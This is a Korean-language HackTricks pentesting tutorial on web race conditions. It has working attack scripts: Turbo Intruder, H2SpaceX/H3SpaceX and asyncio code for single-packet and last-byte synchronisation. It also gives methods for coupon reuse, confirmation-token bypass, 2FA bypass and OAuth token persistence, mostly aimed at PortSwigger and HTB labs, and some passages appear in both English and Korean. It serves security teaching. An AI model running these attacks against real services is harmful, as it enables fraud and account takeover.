Race Condition

Reading time: 19 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

warning

이 기술을 깊이 이해하려면 원본 보고서 https://portswigger.net/research/smashing-the-state-machine 를 확인하세요

Race Condition 공격 강화

경쟁 조건을 이용할 때 가장 큰 장애물은 여러 요청이 동시에 처리되도록 보장하는 것입니다. 처리 시간 차이가 매우 작아야 하며—이상적으로는 1ms 미만—그렇지 않으면 race가 재현되기 어렵습니다.

여기에는 요청 동기화를 위한 몇 가지 기법이 있습니다:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: 단일 TCP 연결로 두 요청을 전송할 수 있어 네트워크 지터의 영향을 줄입니다. 다만 서버 측 변동으로 인해 두 요청만으로는 일관된 race condition exploit을 만들기에 충분하지 않을 수 있습니다.
  • HTTP/1.1 'Last-Byte Sync': 20–30개의 요청의 대부분을 미리 전송하고 작은 조각을 보류했다가 함께 전송하여 서버에 동시에 도착하도록 하는 방식입니다.

Preparation for Last-Byte Sync에는 다음이 포함됩니다:

  1. 스트림을 종료하지 않고 마지막 바이트를 제외한 헤더와 바디 데이터를 전송합니다.
  2. 초기 전송 후 100ms 동안 대기합니다.
  3. 마지막 프레임 배치를 위해 Nagle's algorithm을 활용하도록 TCP_NODELAY를 비활성화합니다.
  4. 연결을 워밍업하기 위해 ping을 보냅니다.

보류해둔 프레임을 이후에 전송하면 단일 패킷으로 도착해야 하며, 이는 Wireshark로 확인할 수 있습니다. 이 방법은 일반적으로 RC 공격에 관련되지 않는 static files에는 적용되지 않습니다.

HTTP/3 Last‑Frame Synchronization (QUIC)

  • Concept: HTTP/3는 QUIC(UDP) 위에서 동작합니다. TCP coalescing이나 Nagle에 의존할 수 없으므로, 기존 클라이언트로는 고전적인 last‑byte sync가 작동하지 않습니다. 대신 여러 QUIC stream‑final DATA frames(FIN)를 같은 UDP 데이터그램으로 의도적으로 합쳐 서버가 동일한 스케줄링 틱에서 모든 타깃 요청을 처리하도록 해야 합니다.
  • How to do it: QUIC 프레임 제어를 노출하는 목적 전용 라이브러리를 사용하세요. 예를 들어, H3SpaceX는 quic-go를 조작해 요청 본문이 있는 경우와 GET‑style 요청(본문이 없는 경우) 모두에 대해 HTTP/3 last‑frame synchronization을 구현합니다.
  • Requests‑with‑body: N개의 스트림에 대해 HEADERS + 마지막 바이트를 제외한 DATA를 전송한 뒤, 각 스트림의 마지막 바이트를 함께 플러시합니다.
  • GET‑style: 가짜 DATA 프레임(또는 Content‑Length가 있는 아주 작은 바디)을 만들어 모든 스트림을 단일 데이터그램에서 종료합니다.
  • Practical limits:
    • 동시성은 상대방의 QUIC max_streams transport parameter에 의해 제한됩니다(HTTP/2의 SETTINGS_MAX_CONCURRENT_STREAMS와 유사). 값이 낮으면 여러 H3 연결을 열어 레이스를 분산시키세요.
    • UDP 데이터그램 크기와 path MTU가 몇 개의 stream‑final 프레임을 합칠 수 있는지를 제한합니다. 라이브러리가 필요시 여러 데이터그램으로 분할을 처리하지만, 단일 데이터그램 플러시가 가장 신뢰할 수 있습니다.
  • Practice: H3SpaceX에 수반되는 공개 H2/H3 레이스 실습과 샘플 익스플로잇이 있습니다.
HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example
go
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}

서버 아키텍처에 적응하기

대상 아키텍처를 이해하는 것이 중요합니다. Front-end servers는 요청을 다르게 라우팅하여 타이밍에 영향을 줄 수 있습니다. 사소한 요청을 통한 선제적 server-side connection warming은 요청 타이밍을 정규화할 수 있습니다.

세션 기반 잠금 처리

PHP의 session handler와 같은 프레임워크는 세션별로 요청을 직렬화하여 취약점을 가릴 수 있습니다. 각 요청에 대해 서로 다른 session tokens를 사용하면 이 문제를 회피할 수 있습니다.

Rate 또는 리소스 제한 극복

connection warming이 효과가 없다면, 더미 요청을 대량으로 보내 web servers의 rate 또는 리소스 제한 지연을 의도적으로 유발하면, race conditions에 유리한 server-side delay를 만들어 single-packet attack을 촉진할 수 있습니다.

공격 예시

  • Turbo Intruder - HTTP2 single-packet attack (1 endpoint): 요청을 Turbo intruder로 보낼 수 있습니다 (Extensions -> Turbo Intruder -> Send to Turbo Intruder), 요청에서 brute force하려는 값인 **%s**를 csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s처럼 변경한 뒤 드롭다운에서 **examples/race-single-packer-attack.py**를 선택하세요:

만약 다른 값을 전송하려는 경우, 클립보드의 wordlist를 사용하는 다음 코드로 수정할 수 있습니다:

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

웹이 HTTP2를 지원하지 않고 HTTP1.1만 지원하는 경우 Engine.BURP2 대신 Engine.THREADED 또는 Engine.BURP를 사용하세요.

  • Turbo Intruder - HTTP2 single-packet attack (Several endpoints): RCE를 트리거하기 위해 1개의 endpoint로 요청을 보내고 그 다음 다른 여러 endpoint로 요청을 보내야 하는 경우, race-single-packet-attack.py 스크립트를 다음과 같이 변경할 수 있습니다:
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Burp Suite의 새로운 'Send group in parallel' 옵션을 통해 Repeater에서도 사용할 수 있습니다.
  • limit-overrun의 경우 그룹에 같은 요청을 50번 추가하면 됩니다.
  • connection warming의 경우, 그룹의 시작 부분에 웹 서버의 비정적 부분으로 향하는 요청들을 몇 개 추가할 수 있습니다.
  • 2개의 substates 단계에서 한 요청을 처리한 다음 다른 요청을 처리하기까지의 프로세스를 지연시키기(delaying) 위해, 두 요청 사이에 추가 요청들을 넣을 수 있습니다.
  • multi-endpoint RC의 경우, 숨겨진 상태로 가는 요청을 먼저 보내고 그 직후에 숨겨진 상태를 악용하는 요청 50개를 보낼 수 있습니다.
  • Automated python script: 이 스크립트의 목적은 사용자의 이메일을 변경하면서 새로운 이메일의 verification token이 마지막 이메일로 도착할 때까지 지속적으로 확인하는 것입니다 (코드상에서는 이메일을 수정할 수 있으나 이메일을 나타내는 변수가 이미 첫 번째 이메일로 채워져 있어서 verification이 이전 이메일로 전송되는 RC가 관찰되었기 때문입니다).
    수신된 이메일에서 "objetivo"라는 단어가 발견되면 변경된 이메일의 verification token을 받은 것으로 판단하여 공격을 종료합니다.
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Turbo Intruder: 엔진 및 게이팅 노트

  • 엔진 선택: single‑packet attack을 트리거하려면 HTTP/2 대상에서 Engine.BURP2를 사용하세요; HTTP/1.1 마지막 바이트 동기화에는 Engine.THREADED 또는 Engine.BURP로 대체하세요.
  • gate/openGate: gate='race1' (또는 시도별 gates)로 많은 복사본을 큐에 넣으면 각 요청의 꼬리를 보류합니다; openGate('race1')는 모든 꼬리를 함께 플러시하여 거의 동시에 도착하게 합니다.
  • 진단: Turbo Intruder에서 음수 타임스탬프는 요청이 완전히 전송되기 전에 서버가 응답했음을 나타내며, 이는 겹침(overlap)을 증명합니다. 이는 실제 race에서 예상되는 현상입니다.
  • 연결 워밍업: 타이밍을 안정시키기 위해 먼저 ping이나 무해한 요청 몇 개를 전송하세요; 마지막 프레임의 배치를 장려하려면 선택적으로 TCP_NODELAY를 비활성화하세요.

Single Packet Attack 개선

원래 연구에서는 이 공격이 1,500바이트의 한계가 있다고 설명했습니다. 그러나 this post에서는 IP 계층 단편화(IP layer fragmentation)를 사용해(단일 패킷을 여러 IP 패킷으로 분할) 패킷을 서로 다른 순서로 전송함으로써 단편들이 모두 서버에 도달할 때까지 재조립을 막도록 허용하여 single‑packet 공격의 1,500바이트 제한을 TCP의 65,535 B 창 제한까지 확장하는 방법을 설명했습니다. 이 기법으로 연구자는 약 166ms에 10,000개의 요청을 전송할 수 있었습니다.

이 개선이 수백/수천 개의 패킷이 동시에 도착해야 하는 RC에서 공격을 더 신뢰성 있게 만들지만, 몇몇 소프트웨어적 제한이 있을 수 있습니다. Apache, Nginx 및 Go 같은 일부 인기 HTTP 서버는 SETTINGS_MAX_CONCURRENT_STREAMS 설정이 각각 100, 128, 250으로 엄격합니다. 반면 NodeJS와 nghttp2는 무제한입니다.
즉, Apache는 단일 TCP 연결에서 100개의 HTTP 스트림만 고려하므로(이 RC 공격을 제한함) HTTP/3의 경우 유사한 제한은 QUIC의 max_streams 전송 파라미터입니다 — 값이 작다면 레이스를 여러 QUIC 연결에 분산하세요.

이 기법을 사용한 몇 가지 예제는 레포지토리 https://github.com/Ry0taK/first-sequence-sync/tree/main 에서 확인할 수 있습니다.

Raw BF

이전 연구 이전에는 패킷을 가능한 한 빠르게 전송하여 RC를 유발하려는 몇 가지 페이로드가 사용되었습니다.

  • Repeater: 이전 섹션의 예제를 확인하세요.
  • Intruder: requestIntruder로 전송하고, Options menu에서 number of threads30으로 설정한 다음, 페이로드로 Null payloads를 선택하고 30개를 생성하세요.
  • Turbo Intruder
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

This is the most basic type of race condition where vulnerabilities that appear in places that limit the number of times you can perform an action. Like using the same discount code in a web store several times. A very easy example can be found in this report or in this bug.

이것은 가장 기본적인 유형의 race condition으로, 행동을 수행할 수 있는 횟수를 제한하는 곳에서 vulnerabilities발생하는 경우입니다. 예를 들어 웹 스토어에서 동일한 할인 코드를 여러 번 사용하는 경우가 있습니다. 아주 쉬운 예시는 this report 또는 this bug에서 찾을 수 있습니다.

There are many variations of this kind of attack, including:

  • Redeeming a gift card multiple times
  • Rating a product multiple times
  • Withdrawing or transferring cash in excess of your account balance
  • Reusing a single CAPTCHA solution
  • Bypassing an anti-brute-force rate limit

이러한 종류의 공격에는 여러 변형이 있으며, 예시로는 다음이 있습니다:

  • 기프트 카드를 여러 번 사용하는 것
  • 제품을 여러 번 평점 매기는 것
  • 계좌 잔액을 초과하여 현금을 인출하거나 이체하는 것
  • 하나의 CAPTCHA 해결을 여러 번 재사용하는 것
  • anti-brute-force rate limit을 우회하는 것

Hidden substates

Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or unintended machine substates. Here’s how to approach this:

복잡한 race condition를 악용할 때는 숨겨져 있거나 unintended machine substates와 상호작용할 수 있는 짧은 기회를 이용하는 경우가 많습니다. 접근 방법은 다음과 같습니다:

  1. Identify Potential Hidden Substates
  • Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
  • Storage: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
  • Action: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
  • Keying: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
  1. Identify Potential Hidden Substates
  • 우선 사용자 프로필이나 password reset 프로세스처럼 중요한 데이터를 수정하거나 상호작용하는 엔드포인트를 찾으세요. 다음에 집중합니다:
  • Storage: 클라이언트 측에서 처리되는 것보다 서버 측의 영구 저장 데이터를 조작하는 엔드포인트를 우선적으로 살펴보세요.
  • Action: 새 데이터를 추가하는 작업보다 기존 데이터를 변경하는 작업이 악용 가능한 상태를 만들 가능성이 더 높습니다.
  • Keying: 성공적인 공격은 보통 동일한 식별자(e.g., username 또는 reset token)를 키로 하는 작업에서 발생합니다.
  1. Conduct Initial Probing
  • Test the identified endpoints with race condition attacks, observing for any deviations from expected outcomes. Unexpected responses or changes in application behavior can signal a vulnerability.
  1. Conduct Initial Probing
  • 식별한 엔드포인트에 대해 race condition 공격을 시도하여 기대 결과와의 차이를 관찰하세요. 예기치 않은 응답이나 애플리케이션 동작의 변화는 vulnerability를 시사할 수 있습니다.
  1. Demonstrate the Vulnerability
  • Narrow down the attack to the minimal number of requests needed to exploit the vulnerability, often just two. This step might require multiple attempts or automation due to the precise timing involved.
  1. Demonstrate the Vulnerability
  • 공격을 악용하는 데 필요한 최소 요청 수(종종 단 두 건)로 공격을 좁히세요. 이 단계는 정밀한 타이밍 때문에 여러 번의 시도나 자동화가 필요할 수 있습니다.

Time Sensitive Attacks

Precision in timing requests can reveal vulnerabilities, especially when predictable methods like timestamps are used for security tokens. For instance, generating password reset tokens based on timestamps could allow identical tokens for simultaneous requests.

시간에 민감한 요청의 정밀한 타이밍은 vulnerabilities를 드러낼 수 있습니다. 특히 타임스탬프와 같은 예측 가능한 방법이 보안 토큰에 사용될 때 그렇습니다. 예를 들어, password reset 토큰을 타임스탬프 기반으로 생성하면 동시에 요청할 경우 동일한 토큰이 생성될 수 있습니다.

To Exploit:

  • Use precise timing, like a single packet attack, to make concurrent password reset requests. Identical tokens indicate a vulnerability.

악용 방법:

  • 단일 패킷 공격처럼 정밀한 타이밍을 사용해 동시 password reset 요청을 보내세요. 동일한 토큰이 반환되면 취약점이 있음을 의미합니다.

Example:

  • Request two password reset tokens at the same time and compare them. Matching tokens suggest a flaw in token generation.

예시:

  • 동시에 두 개의 password reset 토큰을 요청하고 비교하세요. 토큰이 일치하면 토큰 생성에 결함이 있음을 시사합니다.

Check this PortSwigger Lab to try this.

이걸 직접 해보려면 PortSwigger Lab를 확인하세요.

Hidden substates case studies

Pay & add an Item

Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.

Hidden substates case studies

Pay & add an Item

스토어에서 **결제(pay)**를 진행하면서 동시에 추가 항목을 **추가(add an extra)**하여 그 항목에 대한 결제를 하지 않아도 되는 방법을 보려면 PortSwigger Lab을 확인하세요.

Confirm other emails

The idea is to verify an email address and change it to a different one at the same time to find out if the platform verifies the new one changed.

Confirm other emails

아이디어는 **이메일 주소를 검증(verify)**하고 동시에 다른 주소로 변경(change)하여 플랫폼이 변경된 새 주소를 검증하는지 확인하는 것입니다.

According to this research Gitlab was vulnerable to a takeover this way because it might send the email verification token of one email to the other email.

this research에 따르면 Gitlab은 이 방법으로 탈취에 취약했는데, 한 이메일의 email verification token을 다른 이메일로 **전송(send)**할 가능성이 있었기 때문입니다.

Check this PortSwigger Lab to try this.

이것을 시도해보려면 PortSwigger Lab를 확인하세요.

Hidden Database states / Confirmation Bypass

If 2 different writes are used to add information inside a database, there is a small portion of time where only the first data has been written inside the database. For example, when creating a user the username and password might be written and then the token to confirm the newly created account is written. This means that for a small time the token to confirm an account is null.

Therefore registering an account and sending several requests with an empty token (token= or token[]= or any other variation) to confirm the account right away could allow to confirm an account where you don't control the email.

Check this PortSwigger Lab to try this.

Hidden Database states / Confirmation Bypass

두 개의 서로 다른 쓰기 작업(2 different writes)이 데이터베이스(database) 내부에 정보를 **추가(add)**하는 데 사용될 경우, 데이터베이스에 첫 번째 데이터만 기록된 짧은 시간이 존재합니다. 예를 들어 사용자 생성 시 usernamepassword가 먼저 **쓰기(write)**되고 그 다음에 새로 생성된 계정을 확인하는 token이 기록될 수 있습니다. 이로 인해 잠깐 동안 계정 확인용 token이 null인 상태가 됩니다.

따라서 계정을 등록한 후 즉시 빈 token(token= 또는 token[]= 또는 다른 변형`)으로 여러 요청을 보내어 계정을 확인(confirm)하면 본인이 제어하지 않는 이메일로도 계정이 확인될 수 있습니다.

이것을 시도해보려면 PortSwigger Lab를 확인하세요.

Bypass 2FA

The following pseudo-code is vulnerable to race condition because in a very small time the 2FA is not enforced while the session is created:

Bypass 2FA

다음 의사 코드는 session이 생성되는 동안 아주 짧은 시간 동안 2FA가 강제되지 않는(2FA is not enforced) 상태가 되어 race condition에 취약합니다:

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 영구 지속성

There are several OAUth providers. 이러한 서비스는 애플리케이션을 생성하고 제공자가 등록한 사용자를 인증할 수 있게 해줍니다. 이를 위해 client당신의 애플리케이션OAUth provider 내의 일부 데이터에 접근하도록 허용해야 합니다.
즉, 여기까지는 google/linkedin/github 등으로 하는 일반적인 로그인으로, "Application wants to access your information, do you want to allow it?"라는 페이지가 표시되어 허용 여부를 묻습니다.

Race Condition in authorization_code

문제는 사용자가 이를 수락하면 자동으로 악성 애플리케이션에 **authorization_code**가 전송되는 시점에 발생합니다. 이 애플리케이션은 OAUth 서비스 제공자에서 Race Condition을 악용해 해당 **authorization_code**로부터 하나 이상의 AT/RT(인증 토큰/리프레시 토큰)를 생성합니다. 기본적으로 사용자가 애플리케이션의 데이터 접근을 허용한 사실을 악용해 여러 계정을 생성합니다. 이후 사용자가 애플리케이션의 접근을 취소해도 한 쌍의 AT/RT는 삭제되지만, 다른 토큰들은 여전히 유효한 상태로 남을 수 있습니다.

Race Condition in Refresh Token

유효한 RT를 획득한 뒤에는 이를 악용해 여러 개의 AT/RT를 생성하려 시도할 수 있으며, 사용자가 악성 애플리케이션의 권한을 취소해도 여러 RT가 여전히 유효한 상태로 남아있을 수 있습니다.

RC in WebSockets

  • WS_RaceCondition_PoC에서는 Java로 작성된 PoC를 통해 웹소켓 메시지를 병렬로 전송하여 WebSockets에서도 Race Conditions를 악용하는 방법을 확인할 수 있습니다.
  • Burp의 WebSocket Turbo Intruder에서는 THREADED 엔진을 사용해 다수의 WS 연결을 생성하고 페이로드를 병렬로 전송할 수 있습니다. 공식 예제에서 시작해 동시성 설정(config() — 스레드 수)을 조정하세요; WS 핸들러 간 서버 측 상태를 경합할 때 단일 연결에서 배치하는 것보다 이 방법이 더 신뢰성 있는 경우가 많습니다. 예제: RaceConditionExample.py.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기